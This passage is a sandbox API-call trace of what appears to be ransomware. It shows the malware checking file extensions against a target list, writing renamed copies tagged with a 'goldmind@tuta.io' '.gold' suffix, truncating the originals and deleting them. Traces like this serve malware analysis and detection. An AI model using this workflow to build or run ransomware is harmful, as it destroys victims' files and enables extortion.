lpString2="3.WMF") returned -1 [0116.260] lstrlenW (lpString=".ppt") returned 4 [0116.260] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0116.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF") returned 63 [0116.260] lstrlenW (lpString=".zip") returned 4 [0116.260] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0116.260] lstrlenW (lpString=".rar") returned 4 [0116.260] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0116.260] lstrlenW (lpString=".bz2") returned 4 [0116.260] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0116.260] lstrlenW (lpString=".7z") returned 3 [0116.260] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0116.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF") returned 63 [0116.260] lstrlenW (lpString=".dbf") returned 4 [0116.260] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0116.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF") returned 63 [0116.260] lstrlenW (lpString=".1cd") returned 4 [0116.260] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0116.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF") returned 63 [0116.260] lstrlenW (lpString=".jpg") returned 4 [0116.260] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0116.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF") returned 63 [0116.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF") returned 63 [0116.260] lstrlenW (lpString=".doc") returned 4 [0116.260] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0116.260] lstrlenW (lpString=".docx") returned 5 [0116.260] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0116.260] lstrlenW (lpString=".pdf") returned 4 [0116.260] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0116.260] lstrlenW (lpString=".xls") returned 4 [0116.260] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0116.260] lstrlenW (lpString=".xlsx") returned 5 [0116.260] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0116.260] lstrlenW (lpString=".ppt") returned 4 [0116.260] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0116.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF") returned 63 [0116.260] lstrlenW (lpString=".zip") returned 4 [0116.261] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0116.261] lstrlenW (lpString=".rar") returned 4 [0116.261] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0116.261] lstrlenW (lpString=".bz2") returned 4 [0116.261] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0116.261] lstrlenW (lpString=".7z") returned 3 [0116.261] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0116.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF") returned 63 [0116.261] lstrlenW (lpString=".dbf") returned 4 [0116.261] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0116.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF") returned 63 [0116.261] lstrlenW (lpString=".1cd") returned 4 [0116.261] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0116.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF") returned 63 [0116.261] lstrlenW (lpString=".jpg") returned 4 [0116.261] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0116.261] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0116.261] lstrlenW (lpString="J0233512.WMF") returned 12 [0116.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233512.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0116.262] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=9960) returned 1 [0116.262] CloseHandle (hObject=0x398) returned 1 [0116.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233512.wmf")) returned 0x20 [0116.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233512.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0116.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233512.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0116.262] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0116.262] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0116.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233512.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0116.263] GetLastError () returned 0x0 [0116.263] ReadFile (in: hFile=0x398, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x26e8, lpOverlapped=0x0) returned 1 [0116.265] WriteFile (in: hFile=0x3f8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x26f0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x26f0, lpOverlapped=0x0) returned 1 [0116.266] ReadFile (in: hFile=0x398, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0116.266] WriteFile (in: hFile=0x3f8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0116.266] SetEndOfFile (hFile=0x3f8) returned 1 [0116.266] CloseHandle (hObject=0x3f8) returned 1 [0116.266] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0116.266] SetEndOfFile (hFile=0x398) returned 1 [0116.268] CloseHandle (hObject=0x398) returned 1 [0116.268] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0116.268] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233512.wmf")) returned 1 [0116.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF") returned 63 [0116.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF") returned 63 [0116.269] lstrlenW (lpString=".doc") returned 4 [0116.269] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0116.269] lstrlenW (lpString=".docx") returned 5 [0116.269] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0116.269] lstrlenW (lpString=".pdf") returned 4 [0116.269] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0116.269] lstrlenW (lpString=".xls") returned 4 [0116.269] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0116.269] lstrlenW (lpString=".xlsx") returned 5 [0116.269] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0116.269] lstrlenW (lpString=".ppt") returned 4 [0116.269] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0116.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF") returned 63 [0116.269] lstrlenW (lpString=".zip") returned 4 [0116.269] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0116.269] lstrlenW (lpString=".rar") returned 4 [0116.269] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0116.269] lstrlenW (lpString=".bz2") returned 4 [0116.269] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0116.269] lstrlenW (lpString=".7z") returned 3 [0116.269] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0116.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF") returned 63 [0116.269] lstrlenW (lpString=".dbf") returned 4 [0116.269] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0116.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF") returned 63 [0116.269] lstrlenW (lpString=".1cd") returned 4 [0116.269] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0116.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF") returned 63 [0116.270] lstrlenW (lpString=".jpg") returned 4 [0116.270] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0116.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF") returned 63 [0116.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF") returned 63 [0116.270] lstrlenW (lpString=".doc") returned 4 [0116.270] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0116.270] lstrlenW (lpString=".docx") returned 5 [0116.270] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0116.270] lstrlenW (lpString=".pdf") returned 4 [0116.270] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0116.270] lstrlenW (lpString=".xls") returned 4 [0116.270] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0116.270] lstrlenW (lpString=".xlsx") returned 5 [0116.270] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0116.270] lstrlenW (lpString=".ppt") returned 4 [0116.270] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0116.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF") returned 63 [0116.270] lstrlenW (lpString=".zip") returned 4 [0116.270] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0116.270] lstrlenW (lpString=".rar") returned 4 [0116.270] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0116.270] lstrlenW (lpString=".bz2") returned 4 [0116.270] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0116.270] lstrlenW (lpString=".7z") returned 3 [0116.270] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0116.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF") returned 63 [0116.270] lstrlenW (lpString=".dbf") returned 4 [0116.270] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0116.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF") returned 63 [0116.270] lstrlenW (lpString=".1cd") returned 4 [0116.270] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0116.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF") returned 63 [0116.270] lstrlenW (lpString=".jpg") returned 4 [0116.270] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0116.270] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0116.270] lstrlenW (lpString="J0233665.WMF") returned 12 [0116.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233665.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0116.272] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=12588) returned 1 [0116.272] CloseHandle (hObject=0x398) returned 1 [0116.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233665.wmf")) returned 0x20 [0116.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233665.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0116.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233665.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0116.272] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0116.272] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0116.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233665.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0116.273] GetLastError () returned 0x0 [0116.273] ReadFile (hFile=0x398, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0) Thread: id = 65 os_tid = 0x6b4 [0087.168] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x3a30da8 [0087.169] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x3a40db0 [0087.169] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x541438 [0087.169] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x53f048 [0087.169] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x541450 [0087.169] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x3f00020 [0087.169] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x541468 [0087.169] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x541468, Size=0x20) returned 0x55ea90 [0087.169] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x541468 [0087.170] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x541468, Size=0x20) returned 0x55ea68 [0087.170] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75a40000 [0087.170] GetProcAddress (hModule=0x75a40000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75a6d650 [0087.170] Wow64DisableWow64FsRedirection (in: OldValue=0x351ff58 | out: OldValue=0x351ff58*=0x0) returned 1 [0087.170] lstrlenW (lpString="kernel32.dll") returned 12 [0087.170] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55ea90 | out: hHeap=0x4f0000) returned 1 [0087.170] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0087.170] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55ea68 | out: hHeap=0x4f0000) returned 1 [0087.170] Sleep (dwMilliseconds=0x64) [0087.353] Sleep (dwMilliseconds=0x64) [0087.588] lstrcmpiW (lpString1=".mui", lpString2=".gold") returned 1 [0087.588] lstrlenW (lpString="InkWatson.exe.mui") returned 17 [0087.588] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0087.760] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=9216) returned 1 [0087.760] CloseHandle (hObject=0x2f0) returned 1 [0087.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui")) returned 0x20 [0087.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0087.760] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0087.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0087.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0087.760] lstrlenW (lpString=".doc") returned 4 [0087.760] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.761] lstrlenW (lpString=".docx") returned 5 [0087.761] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0087.761] lstrlenW (lpString=".pdf") returned 4 [0087.761] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.761] lstrlenW (lpString=".xls") returned 4 [0087.761] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0087.761] lstrlenW (lpString=".xlsx") returned 5 [0087.761] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0087.761] lstrlenW (lpString=".ppt") returned 4 [0087.761] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0087.761] lstrlenW (lpString=".zip") returned 4 [0087.761] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0087.761] lstrlenW (lpString=".rar") returned 4 [0087.761] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0087.761] lstrlenW (lpString=".bz2") returned 4 [0087.761] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.761] lstrlenW (lpString=".7z") returned 3 [0087.761] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0087.761] lstrlenW (lpString=".dbf") returned 4 [0087.761] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0087.761] lstrlenW (lpString=".1cd") returned 4 [0087.761] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0087.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0087.761] lstrlenW (lpString=".jpg") returned 4 [0087.761] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0087.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0087.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0087.761] lstrlenW (lpString=".doc") returned 4 [0087.761] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.761] lstrlenW (lpString=".docx") returned 5 [0087.761] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0087.761] lstrlenW (lpString=".pdf") returned 4 [0087.761] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.761] lstrlenW (lpString=".xls") returned 4 [0087.761] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0087.761] lstrlenW (lpString=".xlsx") returned 5 [0087.761] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0087.761] lstrlenW (lpString=".ppt") returned 4 [0087.761] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0087.762] lstrlenW (lpString=".zip") returned 4 [0087.762] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0087.762] lstrlenW (lpString=".rar") returned 4 [0087.762] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0087.762] lstrlenW (lpString=".bz2") returned 4 [0087.762] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.762] lstrlenW (lpString=".7z") returned 3 [0087.762] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0087.762] lstrlenW (lpString=".dbf") returned 4 [0087.762] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0087.762] lstrlenW (lpString=".1cd") returned 4 [0087.762] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0087.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0087.762] lstrlenW (lpString=".jpg") returned 4 [0087.762] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0087.762] Sleep (dwMilliseconds=0x64) [0088.002] Sleep (dwMilliseconds=0x64) [0088.253] lstrcmpiW (lpString1=".exe", lpString2=".gold") returned -1 [0088.253] lstrlenW (lpString="InputPersonalization.exe") returned 24 [0088.253] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0088.918] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=383488) returned 1 [0088.918] CloseHandle (hObject=0x194) returned 1 [0088.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe")) returned 0x20 [0088.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0088.928] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe") returned 75 [0088.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe") returned 75 [0088.928] lstrlenW (lpString=".doc") returned 4 [0088.928] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0088.928] lstrlenW (lpString=".docx") returned 5 [0088.928] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1 [0088.928] lstrlenW (lpString=".pdf") returned 4 [0088.928] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0088.928] lstrlenW (lpString=".xls") returned 4 [0088.928] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0088.928] lstrlenW (lpString=".xlsx") returned 5 [0088.928] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1 [0088.928] lstrlenW (lpString=".ppt") returned 4 [0088.928] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0088.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe") returned 75 [0088.928] lstrlenW (lpString=".zip") returned 4 [0088.928] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0088.928] lstrlenW (lpString=".rar") returned 4 [0088.928] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0088.928] lstrlenW (lpString=".bz2") returned 4 [0088.928] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0088.928] lstrlenW (lpString=".7z") returned 3 [0088.928] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0088.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe") returned 75 [0088.928] lstrlenW (lpString=".dbf") returned 4 [0088.928] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0088.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe") returned 75 [0088.928] lstrlenW (lpString=".1cd") returned 4 [0088.928] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0088.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe") returned 75 [0088.928] lstrlenW (lpString=".jpg") returned 4 [0088.928] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0088.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe") returned 75 [0088.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe") returned 75 [0088.928] lstrlenW (lpString=".doc") returned 4 [0088.928] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0088.929] lstrlenW (lpString=".docx") returned 5 [0088.929] lstrcmpiW 